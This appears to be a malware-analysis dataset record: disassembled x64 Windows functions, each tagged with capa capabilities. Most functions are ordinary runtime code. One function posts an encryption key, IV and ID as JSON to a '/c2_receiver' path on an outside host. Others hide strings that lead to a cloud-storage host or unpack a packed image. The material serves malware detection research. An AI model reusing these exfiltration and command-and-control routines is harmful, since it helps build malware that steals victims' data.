joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140069ad0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140069b1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140069b1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140069b1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140069b1a
cmp dword [rcx + 0x84], 0xe
jbe 0x140069b1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140069b1c
xor al, al
add rsp, 0x28
ret
Function at 0x140001340
Capabilities:
Link function at runtime on windows

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x60
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rbx, rdx
mov qword [r11 - 0x40], rdx
test rcx, rcx
jne 0x140001419
mov rcx, qword [rdx + 0x18]
cmp rcx, 0x10
jb 0x140001385
mov rdx, qword [rdx]
mov rax, qword [rbx + 0x10]
lea r8, [rdx + rax]
cmp rcx, 0x10
jb 0x140001398
mov rdx, qword [rbx]
jmp 0x14000139b
mov rdx, rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea rcx, [rsp + 0x30]
call fcn.140005200
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
cmp qword [rsp + 0x48], 8
jb 0x1400013e6
mov rcx, qword [rsp + 0x30]
call fcn.1400056bc
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
cmp qword [rbx + 0x18], 0x10
jb 0x140001408
mov rcx, qword [rbx]
call fcn.1400056bc
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rdi
mov byte [rbx], 0
jmp 0x14000144c
cmp qword [rdx + 0x18], 0x10
jb 0x140001423
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x14000143b
mov rcx, qword [rbx]
call fcn.1400056bc
mov qword [rbx + 0x18], 0xf
xor edi, edi
mov qword [rbx + 0x10], rdi
mov byte [rbx], dil
mov rax, rsi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400054e0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140001b30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rbp], rax
mov rbx, rdx
mov rsi, rcx
call fcn.140001050
mov dword [rbp - 0x20], 0x6e004e
mov dword [rbp - 0x1c], 0x4c007a
mov eax, 0x66
mov word [rbp - 0x18], ax
mov eax, 0x68
mov word [rbp - 0x16], ax
mov eax, 0x63
mov word [rbp - 0x14], ax
mov eax, 0x54
mov word [rbp - 0x12], ax
mov dword [rbp - 0x10], 0x7a0074
mov eax, 0x71
mov dword [rbp - 0xc], 0x710072
mov word [rbp - 8], ax
xor r12d, r12d
mov dword [rbp - 6], 0x67
mov dword [rbp - 0x30], 0x460072
mov eax, 0x4d
mov word [rbp - 0x2c], ax
mov eax, 0x65
mov word [rbp - 0x2a], ax
mov eax, 0x6d
mov word [rbp - 0x28], ax
mov dword [rbp - 0x26], 0x4e004f
mov word [rbp - 0x22], r12w
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], r12
mov word [rsp + 0x20], r12w
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x30]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x20]
call fcn.1400046c0
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], r12
mov word [rsp + 0x58], r12w
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x20]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x58]
call fcn.1400046c0
nop
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x58]
call fcn.1400010e0
nop
mov qword [rbp - 0x68], 0xf
mov qword [rbp - 0x70], r12
mov byte [rbp - 0x80], r12b
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.140003fb0
mov edi, 0x1bb
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.140001340
xor r9d, r9d
movzx r8d, di
lea rdx, str.yesno33727323123yyy.oss_cn_beijing.aliyuncs.com
mov rcx, rsi
call rax
mov rdi, rax
cmp qword [rbp - 0x40], 0x10
jb 0x140001cd7
mov rcx, qword [rbp - 0x58]
call fcn.1400056bc
mov rax, rdi
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.1400054e0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x1400063e3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140016028]
jne 0x1400054fa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400054f6
repz ret
ror rcx, 0x10
jmp 0x14000633c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400174a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140017598]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400063c1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400174a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400063e3
mov rax, qword [rsp + 0x88]
mov qword [0x140017598], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140017538], rax
mov rax, qword [0x140017598]
mov qword [0x140017410], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140017520], rax
mov dword [0x140017400], 0xc0000409
mov dword [0x140017404], 1
mov rax, qword [0x140016028]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140016030]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140017498], eax
mov ecx, 1
call fcn.14000a364
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140010338]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140017498], 0
jne 0x14000646a
mov ecx, 1
call fcn.14000a364
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140009328
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140009198
Function at 0x14000c464
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140006a18
xor ebx, ebx
cmp qword [0x140018458], rbx
mov rdi, rax
jne 0x14000c577
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000c64e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000c64e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140018458], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140018460], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140018468], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140018478], rax
test rax, rax
je 0x14000c56e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140018470], rax
jmp 0x14000c57e
mov rax, qword [0x140018470]
jmp 0x14000c585
mov rax, qword [0x140018470]
mov r11, qword [0x140018478]
cmp rax, rdi
je 0x14000c5ec
cmp r11, rdi
je 0x14000c5ec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140018478]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000c5ec
test rax, rax
je 0x14000c5ec
call rsi
test rax, rax
je 0x14000c5e6
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000c5e6
test byte [rsp + 0x40], 1
jne 0x14000c5ec
bts ebp, 0x15
jmp 0x14000c62c
mov rcx, qword [0x140018460]
cmp rcx, rdi
je 0x14000c62c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000c62c
call rax
mov rbx, rax
test rax, rax
je 0x14000c62c
mov rcx, qword [0x140018468]
cmp rcx, rdi
je 0x14000c62c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000c62c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140018458]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000c64e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000c650
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400054e0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140029a0c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d0d4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d0d4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029b5c
cmp rax, 0xffffffffffffffff
je 0x140029b5c
xor edi, edi
test rbp, rbp
jle 0x140029b07
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fa00
mov rbx, rax
test rax, rax
jne 0x140029a94
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029afd
mov edx, 0x8000
mov ecx, r14d
call fcn.14001aa08
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001ddb0
cmp eax, 0xffffffff
je 0x140029add
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029aa4
mov edx, r15d
mov ecx, r14d
call fcn.14001aa08
jmp 0x140029afd
cmp byte [rsi + 0x38], dil
je 0x140029af4
cmp dword [rsi + 0x34], 5
jne 0x140029af4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029afd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b79c
jmp 0x140029b70
jns 0x140029b70
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d0d4
cmp rax, 0xffffffffffffffff
jne 0x140029b28
cmp byte [rsi + 0x30], dil
je 0x140029b70
mov edi, dword [rsi + 0x2c]
jmp 0x140029b70
mov ecx, r14d
call fcn.140018ec4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029b70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029b70
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029b69
mov eax, dword [rsi + 0x2c]
jmp 0x140029b6e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d0d4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ac60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ac88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ac88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1800014e0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x180001508
xor eax, eax
lea r8, [0x1800011e0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140001d90
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rsi
push rdi
push r12
push r15
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov r15, r8
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
xor r8d, r8d
mov dword [rsp + 0x20], ebx
mov edx, 1
lea rcx, str.TLD13Browser_12.0
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x140001fb3
mov qword [rsp + 0x38], rbx
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], ebx
mov r8d, 0x1bb
mov qword [rsp + 0x1d8], r13
xor r9d, r9d
mov qword [rsp + 0x1d0], r14
mov rcx, rax
mov r14d, 3
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r13, rax
test rax, rax
je 0x140001f9a
mov qword [rsp + 0x38], rbx
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x800000
lea rdx, str.POST
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001f91
mov qword [rsp + 0x228], rbp
lea rbx, [rsp + 0x70]
mov ebp, 0x20
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [rsi]
lea rdx, str._02x
mov rcx, rbx
call fcn.1400010c0
add rbx, 2
lea rsi, [rsi + 1]
sub rbp, 1
jne 0x140001e90
mov rbp, qword [rsp + 0x228]
lea rbx, [rsp + 0x48]
mov byte [rsp + 0xb0], 0
mov esi, 0x10
nop dword [rax + rax]
movzx r8d, byte [rdi]
lea rdx, [0x140006114]
mov rcx, rbx
call fcn.1400010c0
add rbx, 2
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x140001ed0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], r15
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, str._key_:__s___iv_:__s___id_:__s_
mov byte [rsp + 0x68], sil
mov edx, 0x100
lea rcx, [rsp + 0xc0]
call fcn.140001120
mov rbx, qword [rsp + 0x40]
lea rdi, str.Content_Type:_application_json
nop
dec r14d
lea rcx, [rsp + 0xc0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140001f42
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x140001f52
lea r9, [rsp + 0xc0]
mov dword [rsp + 0x20], eax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140001f88
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
test r14d, r14d
jne 0x140001f30
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r13, qword [rsp + 0x1d8]
mov r14, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400023f0
add rsp, 0x1e0
pop r15
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140002cb0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002cfa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002cfa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002cfa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002cfa
cmp dword [rcx + 0x84], 0xe
jbe 0x140002cfa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002cfc
xor al, al
add rsp, 0x28
ret
Function at 0x140ecf420
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140ecf5a7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140ecf451
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ecf437
add dl, dl
jne 0x140ecf45e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ecf4be
xor eax, eax
add dl, dl
jne 0x140ecf46d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ecf575
add dl, dl
jne 0x140ecf47e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ecf48b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ecf498
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ecf4a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140ecf4b2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140ecf446
mov eax, 1
add dl, dl
jne 0x140ecf4ce
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ecf4db
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ecf4c3
sub eax, ebx
mov ebx, 1
jne 0x140ecf514
mov ecx, 1
add dl, dl
jne 0x140ecf4f6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ecf503
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ecf4eb
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ecf446
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140ecf530
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ecf53d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ecf525
cmp eax, 0x7d00
jae 0x140ecf563
cmp eax, 0x500
jb 0x140ecf55e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ecf446
cmp eax, 0x7f
ja 0x140ecf566
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ecf446
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140ecf59a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140ecf446
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0xf3d010
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xf3d01d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xf3d02d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xf3d015
lea eax, [rcx + 1]
jmp 0xf3d03b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xf3d04e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xf3d034
sub eax, 3
jb 0xf3d06e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xf3d0bd
sar eax, 1
movsxd rbp, eax
jb 0xf3d0a4
jmp 0xf3d07c
add ebx, ebx
jne 0xf3d07a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xf3d0a4
inc ecx
add ebx, ebx
jne 0xf3d08a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xf3d0a4
call r11
adc ecx, ecx
add ebx, ebx
jne 0xf3d09d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xf3d08c
add ecx, 2
jmp 0xf3d0a9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00f3cfd2
jmp 0xf3d01d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x6a7a00
mov dl, 0x5c
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xf3d109
cmp rsi, rcx
jae 0xf3d111
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xf3d0f0
cmp al, 0x8f
ja 0xf3d0f0
cmp byte [rsi - 2], 0xf
je 0xf3d0f6
sub al, 0xe8
cmp al, 1
ja 0xf3d0da
cmp rsi, rcx
jae 0xf3d111
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xf3d0e0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xf3d111
lodsb al, byte [rsi]
jmp 0xf3d0f0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xb2e000]
mov eax, dword [rdi]
or eax, eax
je 0xf3d16e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xb3d270]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xf3d11e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xf3d168
mov qword [rbx], rax
add rbx, 8
jmp 0xf3d13e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xf3d1b2
cmp al, 0xef
ja 0xf3d19a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xf3d17a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0xf3d189
mov eax, dword [rdi]
add rdi, 4
jmp 0xf3d189
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xf3d206
sub rsp, 0xffffffffffffff80
jmp 0x461d00
Function at 0x140017280
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.14003f440
sub rsp, rax
mov rax, qword [0x140057040]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x140017342
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140032f14
cmp rax, 1
jne 0x14001739e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14001731f
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140017313
cmp rcx, 1
jb 0x14001739e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400172e0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140017373
lea rcx, [rsp + 0x80]
call fcn.140034290
jmp 0x140017375
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.1400244f0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140027c20
int3

Function at 0x1400173b0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140057040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor ebp, ebp
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], bp
lea rbx, [rsp + 0x30]
mov edi, 0x28
mov al, 0x4e
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140032f14
cmp rax, 1
jne 0x140017495
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14001743c
nop
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140017430
cmp rcx, 1
jb 0x140017495
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140017400
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400244f0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140027c20
int3